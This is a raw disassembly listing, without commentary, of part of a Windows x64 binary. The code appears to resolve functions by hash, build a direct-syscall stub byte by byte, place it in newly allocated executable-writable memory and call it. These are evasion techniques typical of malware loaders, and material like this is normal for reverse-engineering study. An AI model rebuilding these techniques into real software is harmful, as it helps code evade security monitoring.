lea rax, [rsp + 0x6f60]
mov qword [rsp + 0x9e08], rax
lea rcx, [rsp + 0xf6b0]
call fcn.140099fb0
lea r8, [rsp + 0xf6b0]
mov rdx, qword [rsp + 0x9e08]
lea rcx, [rsp + 0x11210]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11210]
call fcn.140097960
mov qword [rsp + 0x9e10], rax
lea rcx, [rsp + 0x11210]
call fcn.140097950
mov qword [rsp + 0x9e28], rax
lea rax, [rsp + 0xd4ac]
mov qword [rsp + 0x9e20], rax
lea rax, [rsp + 0x2498]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2498]
call fcn.14009b310
mov qword [rsp + 0x9e18], rax
lea rax, [rsp + 0xf6c0]
mov rdi, rax
mov rsi, qword [rsp + 0x9e10]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf6d0]
lea rcx, [rsp + 0xf6c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf6d0]
mov rcx, qword [rsp + 0x9e18]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9e20]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x24a0], eax
lea rax, [rsp + 0xd4b0]
mov qword [rsp + 0x9e38], rax
lea rax, [rsp + 0x249c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x249c]
call fcn.14009b310
mov qword [rsp + 0x9e30], rax
lea rax, [rsp + 0xf6e0]
mov rdi, rax
mov rsi, qword [rsp + 0x9e28]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf6f0]
lea rcx, [rsp + 0xf6e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf6f0]
mov rcx, qword [rsp + 0x9e30]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9e38]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x24a4], eax
mov r8d, dword [rsp + 0x24a0]
mov edx, dword [rsp + 0x24a4]
lea rcx, [rsp + 0x3f48]
call fcn.140191150
mov qword [rsp + 0x1358], rax
jmp 0x14013ae87
mov rax, qword [rsp + 0x3f40]
mov rax, qword [rax]
mov qword [rsp + 0x1358], rax
jmp 0x14013ae87
mov qword [rsp + 0x1358], 0
mov rax, qword [rsp + 0x1358]
mov qword [rsp + 0x3f48], rax
lea rcx, [rsp + 0x3f48]
call fcn.1400a2c10
mov qword [rsp + 0x9e40], rax
mov eax, dword [rsp + 0x65a0]
mov dword [rsp + 0x24a8], eax
mov rax, qword [rsp + 0x9e40]
mov qword [rsp + 0x9e48], rax
mov eax, dword [rsp + 0x24a8]
mov dword [rsp + 0x24b0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf700]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9e50], rax
lea r9, [rsp + 0x9e48]
lea r8, [rsp + 0x24b0]
lea rdx, [rsp + 0x127b8]
mov rcx, qword [rsp + 0x9e50]
call fcn.140098320
lea rcx, [rsp + 0xf700]
call fcn.1400a0f80
lea rcx, [rsp + 0x3f48]
call fcn.1400a2c10
mov qword [rsp + 0x9e58], rax
mov rax, qword [rsp + 0x9e58]
mov eax, dword [rax + 4]
mov dword [rsp + 0x24b8], eax
mov eax, dword [rsp + 0x24b8]
mov dword [rsp + 0x65a4], eax
lea rax, [rsp + 0x65a8]
mov qword [rsp + 0x9e60], rax
mov eax, dword [rsp + 0x65a4]
mov dword [rsp + 0x24c0], eax
mov rax, qword [rsp + 0x9e60]
add rax, 0x11
mov qword [rsp + 0x9e68], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9e68]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x24c0]
mov dword [rax], ecx
lea rax, [rsp + 0x65a8]
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x630]
add rax, 0x10
mov qword [rsp + 0x11630], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9e70], rax
mov qword [rsp + 0x4a00], 0
mov qword [rsp + 0x9e78], 0xd
mov rax, qword [rsp + 0x9e70]
mov qword [rsp + 0x9e80], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9e78]
xor r8d, r8d
lea rdx, [rsp + 0x4a00]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9e80]
mov dword [rsp + 0x24c8], eax
cmp dword [rsp + 0x24c8], 0
jl 0x14013b06b
mov rax, qword [rsp + 0x4a00]
mov qword [rsp + 0x4a08], rax
jmp 0x14013b077
mov qword [rsp + 0x4a08], 0
mov rax, qword [rsp + 0x4a08]
mov qword [rsp + 0x9e88], rax
mov rax, qword [rsp + 0x630]
mov rcx, qword [rsp + 0x9e88]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x630]
cmp qword [rax + 8], 0
jne 0x14013b0ac
jmp 0x14013b0f0
mov rax, qword [rsp + 0x630]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x630]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x630]
mov rcx, qword [rsp + 0x630]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x65a8]
mov qword [rsp + 0x9eb0], rax
mov r9, qword [rsp + 0x9e90]
mov r8, qword [rsp + 0x9e98]
mov rdx, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x9ea8]
call qword [rsp + 0x9eb0]
mov dword [rsp + 0xd4b4], eax
lea rcx, [rsp + 0x65a0]
call fcn.1400a0ed0
cmp qword [rsp + 0x3f50], 0
jne 0x14013b156
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
mov qword [rsp + 0x3f78], 0
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x4a18], rax
mov rax, qword [rsp + 0x3f50]
add rax, 8
mov qword [rsp + 0x4a10], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x9ef8], rax
cmp qword [rsp + 0x4a18], 0
je 0x14013b1b4
cmp qword [rsp + 0x4a10], 0
je 0x14013b1b4
xor eax, eax
cmp rax, 8
jne 0x14013b1c1
mov byte [rsp + 0x82], 0
jmp 0x14013c320
lea rax, [rsp + 0xd930]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd930], 0x33
mov rax, qword [rsp + 0x4a10]
mov qword [rsp + 0xd940], rax
mov rax, qword [rsp + 0x4a18]
mov qword [rsp + 0xd948], rax
mov qword [rsp + 0xd950], 8
mov dword [rsp + 0x250c], 0
mov qword [rsp + 0x9ec0], 0
mov qword [rsp + 0x9ec8], 0x28
lea rax, [rsp + 0xd930]
mov qword [rsp + 0x9ed0], rax
lea rax, [rsp + 0x127c8]
mov qword [rsp + 0x9ed8], rax
mov qword [rsp + 0x9ee0], 0
mov qword [rsp + 0x9ee8], 0
mov qword [rsp + 0x9ef0], 0
mov dword [rsp + 0x24cc], 0x9363e455
mov eax, dword [rsp + 0x24cc]
mov dword [rsp + 0x24d0], eax
lea rcx, [rsp + 0x24d0]
call fcn.1400a2c20
mov dword [rsp + 0x65c8], eax
mov dword [rsp + 0x65cc], 0
lea rax, [rsp + 0x65d0]
mov qword [rsp + 0x9eb8], rax
mov dword [rsp + 0x2508], 0x49
mov dword [rsp + 0x2504], 0x89
mov dword [rsp + 0x2500], 0xca
mov dword [rsp + 0x24fc], 0x48
mov dword [rsp + 0x24f8], 0xc7
mov dword [rsp + 0x24f4], 0xc0
mov dword [rsp + 0x24f0], 0x3f
mov dword [rsp + 0x24ec], 0x10
mov dword [rsp + 0x24e8], 0
mov dword [rsp + 0x24e4], 0
mov dword [rsp + 0x24e0], 0xf
mov dword [rsp + 0x24dc], 5
mov dword [rsp + 0x24d8], 0xc3
lea rax, [rsp + 0x24d8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x24dc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x24e0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x24e4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x24e8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x24ec]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24f0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x24f4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x24f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x24fc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2500]
lea r8, [rsp + 0x2504]
lea rdx, [rsp + 0x2508]
mov rcx, qword [rsp + 0x9eb8]
call fcn.14008f900
mov byte [rsp + 0x30f], 1
mov byte [rsp + 0x310], 0
movsxd rax, dword [rsp + 0x250c]
mov qword [rsp + 0xa030], rax
mov byte [rsp + 0x311], 0
mov byte [rsp + 0x312], 0
mov rax, qword [rsp + 0x9ec0]
mov qword [rsp + 0xa038], rax
mov byte [rsp + 0x313], 0
mov byte [rsp + 0x314], 1
mov rax, qword [rsp + 0x9ec8]
mov qword [rsp + 0xa040], rax
mov byte [rsp + 0x315], 0
mov byte [rsp + 0x316], 0
mov rax, qword [rsp + 0x9ed0]
mov qword [rsp + 0xa048], rax
mov byte [rsp + 0x317], 0
mov byte [rsp + 0x318], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa050], rax
mov byte [rsp + 0x319], 0
mov byte [rsp + 0x31a], 0
mov rax, qword [rsp + 0x9ed8]
mov qword [rsp + 0xa058], rax
mov byte [rsp + 0x31b], 0
mov byte [rsp + 0x31c], 0
mov rax, qword [rsp + 0x9ee0]
mov qword [rsp + 0xa060], rax
mov byte [rsp + 0x31d], 0
mov byte [rsp + 0x31e], 0
mov rax, qword [rsp + 0x9ee8]
mov qword [rsp + 0xa068], rax
mov byte [rsp + 0x31f], 0
mov byte [rsp + 0x320], 0
mov rax, qword [rsp + 0x9ef0]
mov qword [rsp + 0xa070], rax
mov byte [rsp + 0x321], 0
mov byte [rsp + 0x322], 0
mov rax, qword [rsp + 0x9ef8]
mov qword [rsp + 0xa078], rax
mov eax, dword [rsp + 0x65c8]
mov dword [rsp + 0x2510], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf710]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9f00], rax
lea r8, [rsp + 0x2510]
lea rdx, [rsp + 0x4a20]
mov rcx, qword [rsp + 0x9f00]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9f08], rax
lea rdx, [rsp + 0x11638]
mov rcx, qword [rsp + 0x9f08]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4a20]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013b5d2
mov qword [rsp + 0x4a28], 0
jmp 0x14013b5eb
lea rcx, [rsp + 0x4a20]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4a28], rax
mov rax, qword [rsp + 0x4a28]
mov qword [rsp + 0x9f10], rax
lea rcx, [rsp + 0xf710]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9f10]
mov qword [rsp + 0x4a30], rax
cmp qword [rsp + 0x4a30], 0
je 0x14013b648
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2518], eax
mov eax, dword [rsp + 0x2518]
mov dword [rsp + 0x65cc], eax
jmp 0x14013c0d6
lea rax, [rsp + 0xd4b8]
mov qword [rsp + 0x9f18], rax
xor edx, edx
mov rcx, qword [rsp + 0x9f18]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x251c], eax
lea rax, [rsp + 0xd4bc]
mov qword [rsp + 0x9f20], rax
mov edx, dword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x9f20]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2520], eax
mov eax, dword [rsp + 0x251c]
mov dword [rsp + 0xb70], eax
mov eax, dword [rsp + 0x2520]
mov dword [rsp + 0xb88], eax
xor edx, edx
lea rcx, [rsp + 0x2524]
call fcn.14009b2f0
lea rdx, [rsp + 0x2524]
lea rcx, [rsp + 0xb88]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013b6f5
mov qword [rsp + 0x1368], 0
jmp 0x14013bff4
mov byte [rsp + 0x323], 1
mov qword [rsp + 0x6f70], 0
mov qword [rsp + 0x6f78], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3f58], rax
mov eax, 1
test eax, eax
je 0x14013b747
mov rax, qword [rsp + 0x3f58]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4a38], rax
jmp 0x14013b75a
mov rax, qword [rsp + 0x3f58]
mov rax, qword [rax]
mov qword [rsp + 0x4a38], rax
mov rax, qword [rsp + 0x4a38]
mov qword [rsp + 0x6f70], rax
mov rax, qword [rsp + 0x3f58]
mov qword [rsp + 0x6f78], rax
lea rax, [rsp + 0x6f70]
mov qword [rsp + 0x4a40], rax
lea rdx, [rsp + 0x1360]
mov rcx, qword [rsp + 0x4a40]
call fcn.14018efb0
lea rdx, [rsp + 0x9f28]
mov rcx, qword [rsp + 0x4a40]
call fcn.140190a30
jmp 0x14013b7c9
mov rax, qword [rsp + 0x1360]
mov rax, qword [rax]
mov qword [rsp + 0x1360], rax
mov rax, qword [rsp + 0x9f28]
cmp qword [rsp + 0x1360], rax
je 0x14013b7e8
mov dword [rsp + 0xb6c], 1
jmp 0x14013b7f3
mov dword [rsp + 0xb6c], 0
movzx eax, byte [rsp + 0xb6c]
test eax, eax
je 0x14013bfe8
xor edx, edx
mov rcx, qword [rsp + 0x1360]
call fcn.140096d90
mov qword [rsp + 0x9f30], rax
lea rax, [rsp + 0x9f30]
mov qword [rsp + 0x4a48], rax
xor edx, edx
lea rcx, [rsp + 0x2528]
call fcn.14009b2f0
lea rdx, [rsp + 0x2528]
lea rcx, [rsp + 0xb70]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013ba93
mov rax, qword [rsp + 0x4a48]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9f38], rax
lea rdx, [rsp + 0x127d8]
mov rcx, qword [rsp + 0x9f38]
call fcn.14019acf0
lea rcx, [rsp + 0xf720]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xb70]
mov dword [rsp + 0x252c], eax
lea rax, [rsp + 0xd2f0]
lea rcx, [rsp + 0xf720]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x252c]
mov dword [rsp + 0xb78], eax
lea rax, [rsp + 0x2530]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2530]
call fcn.14009b310
mov qword [rsp + 0x9f40], rax
lea rax, [rsp + 0xf730]
lea rcx, [rsp + 0xd2f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf740]
lea rcx, [rsp + 0xf730]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf740]
mov rcx, qword [rsp + 0x9f40]
call fcn.140097890
mov dword [rsp + 0x2538], eax
lea rcx, [rsp + 0xd2f0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9f48], rax
mov r9, qword [rsp + 0x9f48]
xor r8d, r8d
lea rdx, [rsp + 0xf750]
lea rcx, [rsp + 0xd2f0]
call fcn.14019ab70
lea rax, [rsp + 0x2534]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2534]
call fcn.14009b310
mov qword [rsp + 0x9f50], rax
lea rax, [rsp + 0xf760]
lea rcx, [rsp + 0xf750]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf770]
lea rcx, [rsp + 0xf760]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf770]
mov rcx, qword [rsp + 0x9f50]
call fcn.140097890
mov dword [rsp + 0x2540], eax
mov edx, dword [rsp + 0x2538]
lea rcx, [rsp + 0x253c]
call fcn.14009b2f0
lea rdx, [rsp + 0x253c]
lea rcx, [rsp + 0xb78]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013ba77
mov edx, dword [rsp + 0x2540]
lea rcx, [rsp + 0x2544]
call fcn.14009b2f0
lea rdx, [rsp + 0x2544]
lea rcx, [rsp + 0xb78]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013ba77
mov dword [rsp + 0xb80], 1
jmp 0x14013ba82
mov dword [rsp + 0xb80], 0
movzx eax, byte [rsp + 0xb80]
test eax, eax
je 0x14013ba93
jmp 0x14013b7b6
mov rax, qword [rsp + 0x4a48]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4a50], rax
mov rax, qword [rsp + 0x4a50]
mov qword [rsp + 0x44b8], rax
mov rax, qword [rsp + 0x4a50]
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0x9f58]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9f60], rax
mov rax, qword [rsp + 0x9f60]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9f68], rax
mov eax, dword [rsp + 0x9f68]
add rax, qword [rsp + 0x44b8]
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0x9f70]
mov qword [rsp + 0x44c0], rax
lea rdx, [rsp + 0xb88]
lea rcx, [rsp + 0xd4c0]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11db8]
lea rcx, [rsp + 0x44b8]
call fcn.140097040
lea rdx, [rsp + 0x13920]
lea rcx, [rsp + 0x44b8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11db8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013bb7f
jmp 0x14013b7b6
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14013bc02
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11dc8]
mov qword [rsp + 0x4a58], rax
mov rcx, qword [rsp + 0x4a58]
call fcn.140097960
mov qword [rsp + 0x11640], rax
mov rcx, qword [rsp + 0x4a58]
call fcn.140097950
mov qword [rsp + 0x3f68], rax
mov rax, qword [rsp + 0x3f68]
mov rax, qword [rax]
mov qword [rsp + 0x4a70], rax
mov rax, qword [rsp + 0x44b8]
mov qword [rsp + 0x9f78], rax
mov rax, qword [rsp + 0x9f78]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9f80]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4a60], rax
mov eax, dword [rsp + 0x4a60]
add rax, qword [rsp + 0x44b8]
mov qword [rsp + 0x4a68], rax
mov eax, dword [rsp + 0x4a64]
mov rcx, qword [rsp + 0x4a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x4a68]
cmp qword [rsp + 0x4a70], rax
jb 0x14013bcf4
mov rax, qword [rsp + 0x9f88]
cmp qword [rsp + 0x4a70], rax
jae 0x14013bcf4
mov dword [rsp + 0xb90], 1
jmp 0x14013bcff
mov dword [rsp + 0xb90], 0
movzx eax, byte [rsp + 0xb90]
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0xf2]
test eax, eax
je 0x14013bfce
mov rax, qword [rsp + 0x3f68]
mov rax, qword [rax]
mov qword [rsp + 0x9f90], rax
mov rax, qword [rsp + 0x9f90]
mov qword [rsp + 0x9f98], rax
lea rax, [rsp + 0x127e8]
mov qword [rsp + 0x9fa0], rax
mov rdx, qword [rsp + 0x9f98]
mov rcx, qword [rsp + 0x9fa0]
call fcn.140095590
lea rcx, [rsp + 0x6f80]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f80]
call fcn.140191090
mov qword [rsp + 0x3f60], rax
cmp qword [rsp + 0x3f60], 0xffffffffffffffff
je 0x14013be09
mov r9, qword [rsp + 0x3f60]
xor r8d, r8d
lea rdx, [rsp + 0xf790]
lea rcx, [rsp + 0x6f80]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3f60]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf780]
lea rcx, [rsp + 0x6f80]
call fcn.14019aaa0
lea r8, [rsp + 0xf780]
lea rdx, [rsp + 0xf790]
lea rcx, [rsp + 0x11230]
call fcn.14008f7e0
jmp 0x14013be44
lea rax, [rsp + 0x6f80]
mov qword [rsp + 0x9fa8], rax
lea rcx, [rsp + 0xf7a0]
call fcn.140099fb0
lea r8, [rsp + 0xf7a0]
mov rdx, qword [rsp + 0x9fa8]
lea rcx, [rsp + 0x11230]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11230]
call fcn.140097960
mov qword [rsp + 0x9fb0], rax
lea rcx, [rsp + 0x11230]
call fcn.140097950
mov qword [rsp + 0x9fc8], rax
lea rax, [rsp + 0xd4c4]
mov qword [rsp + 0x9fc0], rax
lea rax, [rsp + 0x2548]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2548]
call fcn.14009b310
mov qword [rsp + 0x9fb8], rax
lea rax, [rsp + 0xf7b0]
mov rdi, rax
mov rsi, qword [rsp + 0x9fb0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf7c0]
lea rcx, [rsp + 0xf7b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf7c0]
mov rcx, qword [rsp + 0x9fb8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9fc0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2550], eax
lea rax, [rsp + 0xd4c8]
mov qword [rsp + 0x9fd8], rax
lea rax, [rsp + 0x254c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x254c]
call fcn.14009b310
mov qword [rsp + 0x9fd0], rax
lea rax, [rsp + 0xf7d0]
mov rdi, rax
mov rsi, qword [rsp + 0x9fc8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf7e0]
lea rcx, [rsp + 0xf7d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf7e0]
mov rcx, qword [rsp + 0x9fd0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9fd8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2554], eax
mov r8d, dword [rsp + 0x2550]
mov edx, dword [rsp + 0x2554]
lea rcx, [rsp + 0x3f70]
call fcn.140191150
mov qword [rsp + 0x1368], rax
jmp 0x14013bff4
mov rax, qword [rsp + 0x3f68]
mov rax, qword [rax]
mov qword [rsp + 0x1368], rax
jmp 0x14013bff4
mov qword [rsp + 0x1368], 0
mov rax, qword [rsp + 0x1368]
mov qword [rsp + 0x3f70], rax
lea rcx, [rsp + 0x3f70]
call fcn.1400a2c10
mov qword [rsp + 0x9fe0], rax
mov eax, dword [rsp + 0x65c8]
mov dword [rsp + 0x2558], eax
mov rax, qword [rsp + 0x9fe0]
mov qword [rsp + 0x9fe8], rax
mov eax, dword [rsp + 0x2558]
mov dword [rsp + 0x2560], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf7f0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9ff0], rax
lea r9, [rsp + 0x9fe8]
lea r8, [rsp + 0x2560]
lea rdx, [rsp + 0x127f8]
mov rcx, qword [rsp + 0x9ff0]
call fcn.140098320
lea rcx, [rsp + 0xf7f0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3f70]
call fcn.1400a2c10
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x9ff8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2568], eax
mov eax, dword [rsp + 0x2568]
mov dword [rsp + 0x65cc], eax
lea rax, [rsp + 0x65d0]
mov qword [rsp + 0xa000], rax
mov eax, dword [rsp + 0x65cc]
mov dword [rsp + 0x2570], eax
mov rax, qword [rsp + 0xa000]
add rax, 0x11
mov qword [rsp + 0xa008], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa008]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2570]
mov dword [rax], ecx
lea rax, [rsp + 0x65d0]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x638]
add rax, 0x10
mov qword [rsp + 0x11648], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa010], rax
mov qword [rsp + 0x4a78], 0
mov qword [rsp + 0xa018], 0xd
mov rax, qword [rsp + 0xa010]
mov qword [rsp + 0xa020], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa018]
xor r8d, r8d
lea rdx, [rsp + 0x4a78]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa020]
mov dword [rsp + 0x2578], eax
cmp dword [rsp + 0x2578], 0
jl 0x14013c1d8
mov rax, qword [rsp + 0x4a78]
mov qword [rsp + 0x4a80], rax
jmp 0x14013c1e4
mov qword [rsp + 0x4a80], 0
mov rax, qword [rsp + 0x4a80]
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0x638]
mov rcx, qword [rsp + 0xa028]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x638]
cmp qword [rax + 8], 0
jne 0x14013c219
jmp 0x14013c25d
mov rax, qword [rsp + 0x638]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x638]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x638]
mov rcx, qword [rsp + 0x638]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x65d0]
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0xa030]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa038]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa040]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa048]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa050]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa058]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa060]
mov r8, qword [rsp + 0xa068]
mov rdx, qword [rsp + 0xa070]
mov rcx, qword [rsp + 0xa078]
call qword [rsp + 0xa080]
mov dword [rsp + 0x257c], eax
lea rcx, [rsp + 0x65c8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x257c]
mov dword [rsp + 0x2580], eax
cmp dword [rsp + 0x2580], 0
jge 0x14013c318
mov byte [rsp + 0x82], 0
jmp 0x14013c320
mov byte [rsp + 0x82], 1
movzx eax, byte [rsp + 0x82]
test eax, eax
je 0x14013c337
cmp qword [rsp + 0x3f78], 0
jne 0x14013c347
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
mov qword [rsp + 0x3fa0], 0
lea rax, [rsp + 0x3fa0]
mov qword [rsp + 0x4a90], rax
mov rax, qword [rsp + 0x3f78]
add rax, 8
mov qword [rsp + 0x4a88], rax
mov rax, qword [rsp + 0x660]
